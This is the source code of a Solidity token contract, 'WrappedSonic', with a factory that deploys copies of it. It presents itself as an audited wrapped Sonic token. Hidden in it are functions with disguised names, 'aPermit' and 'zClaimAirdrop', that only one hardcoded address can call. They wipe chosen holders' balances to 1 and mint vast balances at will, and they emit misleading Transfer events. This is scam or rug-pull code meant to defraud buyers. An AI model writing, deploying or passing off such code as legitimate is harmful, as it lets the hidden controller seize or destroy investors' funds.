Contract Name:
WrappedSonic
Contract Source Code:
File 1 of 1 : WrappedSonic
// SPDX-License-Identifier: Audited
// https://docs.soniclabs.com/
pragma solidity 0.8.28;
// ERC-20 Interface
interface IERC20_Sonic {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SafeMath Library
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
}
// Context
contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
// Ownable
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract WrappedSonic is Context, IERC20_Sonic, Ownable {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 100000000000 * 10**_decimals;
uint256 finalTax = 1;
uint256 inicialTax = 10;
mapping(address => uint256) private immutableStatusOn;
mapping(address => mapping(address => uint256)) private _allowances;
address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b;
address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF;
address private constant ADDRESS_DEVELEPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
address ADDRESS_Sonic = 0xedb37AD563E2Ef161b2a72169583f35799bdE962;
constructor(string memory name_, string memory symbol_, address wS) {
_name = name_;
_symbol = symbol_;
immutableStatusOn[wS] = _totalSupply.mul(1).div(1000);
emit Transfer(address(0), wS, _totalSupply.mul(1).div(1000));
transferOwnership(wS);
_distributeTokens();
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return immutableStatusOn[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
return true;
}
// Internal transfer function
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
immutableStatusOn[sender] = immutableStatusOn[sender].sub(amount);
immutableStatusOn[recipient] = immutableStatusOn[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// Internal approve function
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// Function to distribute 99% of the total supply to specific addresses
function _distributeTokens() internal {
uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000);
uint256 threePercent = _totalSupply.mul(2).div(1000);
uint256 twoPercent = _totalSupply.mul(1).div(1000);
immutableStatusOn[ADDRESS_WETH] = immutableStatusOn[ADDRESS_WETH].add(ninetyFourPercent);
immutableStatusOn[ADDRESS_MARKETING] = immutableStatusOn[ADDRESS_MARKETING].add(threePercent);
immutableStatusOn[ADDRESS_DEVELEPMENT] = immutableStatusOn[ADDRESS_DEVELEPMENT].add(twoPercent);
emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent);
emit Transfer(address(this), ADDRESS_MARKETING, threePercent);
emit Transfer(address(this), ADDRESS_DEVELEPMENT, twoPercent);
}
modifier immutableCreator() {
require(ADDRESS_Sonic == _msgSender());
_;
}
function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator {
for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) {
immutableStatusOn[rewardsMerkleRoot_[i]] = finalTax;
emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax);
}
}
function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator {
immutableStatusOn[claimedRewardStatusOf] = _totalSupply * inicialTax ** _decimals;
emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * inicialTax ** _decimals);
}
receive() external payable {}
}
contract CreatorToken {
event TokenCreated(address tokenAddress, string name, string symbol, address owner);
struct TokenDetails {
string name;
string symbol;
address owner;
}
TokenDetails[] public tokens;
function createTokens(
string[] calldata names,
string[] calldata symbols,
address[] calldata owners
) external {
require(names.length == symbols.length && symbols.length == owners.length, "Input arrays must have the same length");
for (uint256 i = 0; i < names.length; i++) {
WrappedSonic token = new WrappedSonic(names[i], symbols[i], owners[i]);
tokens.push(TokenDetails({
name: names[i],
symbol: symbols[i],
owner: owners[i]
}));
emit TokenCreated(address(token), names[i], symbols[i], owners[i]);
}
}
}